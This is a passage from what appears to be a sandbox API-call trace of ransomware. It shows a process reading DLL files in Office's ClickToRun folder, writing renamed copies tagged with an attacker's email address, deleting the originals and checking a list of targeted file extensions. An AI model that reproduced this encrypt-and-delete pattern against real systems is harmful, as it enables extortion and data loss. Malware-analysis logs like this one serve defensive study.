hTemplateFile=0x0) returned 0x10ac [0288.398] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=22720) returned 1 [0288.398] CloseHandle (hObject=0x10ac) returned 1 [0288.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0288.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0288.398] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.398] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0288.399] GetLastError () returned 0x0 [0288.399] ReadFile (in: hFile=0x10ac, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x58c0, lpOverlapped=0x0) returned 1 [0288.626] WriteFile (in: hFile=0x10cc, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x58d0, lpOverlapped=0x0) returned 1 [0288.912] ReadFile (in: hFile=0x10ac, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.912] WriteFile (in: hFile=0x10cc, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x116, lpOverlapped=0x0) returned 1 [0288.912] SetEndOfFile (hFile=0x10cc) returned 1 [0288.913] CloseHandle (hObject=0x10cc) returned 1 [0288.913] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.913] SetEndOfFile (hFile=0x10ac) returned 1 [0288.914] CloseHandle (hObject=0x10ac) returned 1 [0288.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.234] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0289.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0289.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0289.234] lstrlenW (lpString=".doc") returned 4 [0289.234] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.234] lstrlenW (lpString=".docx") returned 5 [0289.234] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.234] lstrlenW (lpString=".pdf") returned 4 [0289.234] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.234] lstrlenW (lpString=".xls") returned 4 [0289.234] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.234] lstrlenW (lpString=".xlsx") returned 5 [0289.234] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.234] lstrlenW (lpString=".ppt") returned 4 [0289.234] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0289.234] lstrlenW (lpString=".zip") returned 4 [0289.234] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.234] lstrlenW (lpString=".rar") returned 4 [0289.234] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.234] lstrlenW (lpString=".bz2") returned 4 [0289.234] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.234] lstrlenW (lpString=".7z") returned 3 [0289.234] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0289.234] lstrlenW (lpString=".dbf") returned 4 [0289.235] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0289.235] lstrlenW (lpString=".1cd") returned 4 [0289.235] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0289.235] lstrlenW (lpString=".jpg") returned 4 [0289.235] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0289.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0289.235] lstrlenW (lpString=".doc") returned 4 [0289.235] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.235] lstrlenW (lpString=".docx") returned 5 [0289.235] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.235] lstrlenW (lpString=".pdf") returned 4 [0289.235] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.235] lstrlenW (lpString=".xls") returned 4 [0289.235] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.235] lstrlenW (lpString=".xlsx") returned 5 [0289.235] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.235] lstrlenW (lpString=".ppt") returned 4 [0289.235] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0289.235] lstrlenW (lpString=".zip") returned 4 [0289.235] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.235] lstrlenW (lpString=".rar") returned 4 [0289.235] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.235] lstrlenW (lpString=".bz2") returned 4 [0289.235] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.235] lstrlenW (lpString=".7z") returned 3 [0289.235] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0289.235] lstrlenW (lpString=".dbf") returned 4 [0289.235] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0289.235] lstrlenW (lpString=".1cd") returned 4 [0289.235] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0289.236] lstrlenW (lpString=".jpg") returned 4 [0289.236] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.236] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.236] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33 [0289.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0289.236] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=19136) returned 1 [0289.236] CloseHandle (hObject=0x10b4) returned 1 [0289.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0289.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0289.240] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.240] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0289.240] GetLastError () returned 0x0 [0289.240] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0289.243] WriteFile (in: hFile=0x10dc, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0289.244] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0289.244] WriteFile (in: hFile=0x10dc, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x116, lpOverlapped=0x0) returned 1 [0289.244] SetEndOfFile (hFile=0x10dc) returned 1 [0289.244] CloseHandle (hObject=0x10dc) returned 1 [0289.244] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.244] SetEndOfFile (hFile=0x10b4) returned 1 [0289.245] CloseHandle (hObject=0x10b4) returned 1 [0289.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.245] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0289.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0289.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0289.245] lstrlenW (lpString=".doc") returned 4 [0289.245] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.246] lstrlenW (lpString=".docx") returned 5 [0289.246] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.246] lstrlenW (lpString=".pdf") returned 4 [0289.246] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.246] lstrlenW (lpString=".xls") returned 4 [0289.246] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.246] lstrlenW (lpString=".xlsx") returned 5 [0289.246] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.246] lstrlenW (lpString=".ppt") returned 4 [0289.246] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0289.246] lstrlenW (lpString=".zip") returned 4 [0289.246] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.246] lstrlenW (lpString=".rar") returned 4 [0289.246] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.246] lstrlenW (lpString=".bz2") returned 4 [0289.246] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.246] lstrlenW (lpString=".7z") returned 3 [0289.246] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0289.246] lstrlenW (lpString=".dbf") returned 4 [0289.246] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0289.246] lstrlenW (lpString=".1cd") returned 4 [0289.246] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0289.246] lstrlenW (lpString=".jpg") returned 4 [0289.246] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0289.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0289.246] lstrlenW (lpString=".doc") returned 4 [0289.246] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.246] lstrlenW (lpString=".docx") returned 5 [0289.246] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.247] lstrlenW (lpString=".pdf") returned 4 [0289.247] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.247] lstrlenW (lpString=".xls") returned 4 [0289.247] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.247] lstrlenW (lpString=".xlsx") returned 5 [0289.247] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.247] lstrlenW (lpString=".ppt") returned 4 [0289.247] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0289.247] lstrlenW (lpString=".zip") returned 4 [0289.247] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.247] lstrlenW (lpString=".rar") returned 4 [0289.247] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.247] lstrlenW (lpString=".bz2") returned 4 [0289.247] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.247] lstrlenW (lpString=".7z") returned 3 [0289.247] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0289.247] lstrlenW (lpString=".dbf") returned 4 [0289.247] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0289.247] lstrlenW (lpString=".1cd") returned 4 [0289.247] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0289.247] lstrlenW (lpString=".jpg") returned 4 [0289.247] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.247] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.247] lstrlenW (lpString="ApiClient.dll") returned 13 [0289.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0289.248] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=162880) returned 1 [0289.248] CloseHandle (hObject=0x10b4) returned 1 [0289.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0289.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0289.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0289.248] lstrlenW (lpString=".doc") returned 4 [0289.248] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.248] lstrlenW (lpString=".docx") returned 5 [0289.248] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0289.248] lstrlenW (lpString=".pdf") returned 4 [0289.248] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.248] lstrlenW (lpString=".xls") returned 4 [0289.248] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.248] lstrlenW (lpString=".xlsx") returned 5 [0289.248] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0289.248] lstrlenW (lpString=".ppt") returned 4 [0289.248] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0289.248] lstrlenW (lpString=".zip") returned 4 [0289.248] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.248] lstrlenW (lpString=".rar") returned 4 [0289.248] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.248] lstrlenW (lpString=".bz2") returned 4 [0289.248] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.249] lstrlenW (lpString=".7z") returned 3 [0289.249] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0289.249] lstrlenW (lpString=".dbf") returned 4 [0289.249] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0289.249] lstrlenW (lpString=".1cd") returned 4 [0289.249] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0289.249] lstrlenW (lpString=".jpg") returned 4 [0289.249] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0289.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0289.249] lstrlenW (lpString=".doc") returned 4 [0289.249] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.249] lstrlenW (lpString=".docx") returned 5 [0289.249] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0289.249] lstrlenW (lpString=".pdf") returned 4 [0289.249] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.249] lstrlenW (lpString=".xls") returned 4 [0289.249] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.249] lstrlenW (lpString=".xlsx") returned 5 [0289.249] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0289.249] lstrlenW (lpString=".ppt") returned 4 [0289.249] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0289.249] lstrlenW (lpString=".zip") returned 4 [0289.249] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.249] lstrlenW (lpString=".rar") returned 4 [0289.249] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.249] lstrlenW (lpString=".bz2") returned 4 [0289.249] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.249] lstrlenW (lpString=".7z") returned 3 [0289.250] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0289.250] lstrlenW (lpString=".dbf") returned 4 [0289.250] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0289.250] lstrlenW (lpString=".1cd") returned 4 [0289.250] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0289.250] lstrlenW (lpString=".jpg") returned 4 [0289.250] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.250] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.250] lstrlenW (lpString="AppVCatalog.dll") returned 15 [0289.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0289.250] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=656088) returned 1 [0289.250] CloseHandle (hObject=0x10b4) returned 1 [0289.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0289.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0289.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0289.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0289.251] lstrlenW (lpString=".doc") returned 4 [0289.251] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.251] lstrlenW (lpString=".docx") returned 5 [0289.251] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0289.251] lstrlenW (lpString=".pdf") returned 4 [0289.251] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.251] lstrlenW (lpString=".xls") returned 4 [0289.251] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.251] lstrlenW (lpString=".xlsx") returned 5 [0289.251] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0289.251] lstrlenW (lpString=".ppt") returned 4 [0289.251] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0289.251] lstrlenW (lpString=".zip") returned 4 [0289.251] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.251] lstrlenW (lpString=".rar") returned 4 [0289.251] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.251] lstrlenW (lpString=".bz2") returned 4 [0289.251] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.251] lstrlenW (lpString=".7z") returned 3 [0289.251] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.251] lstrlenW 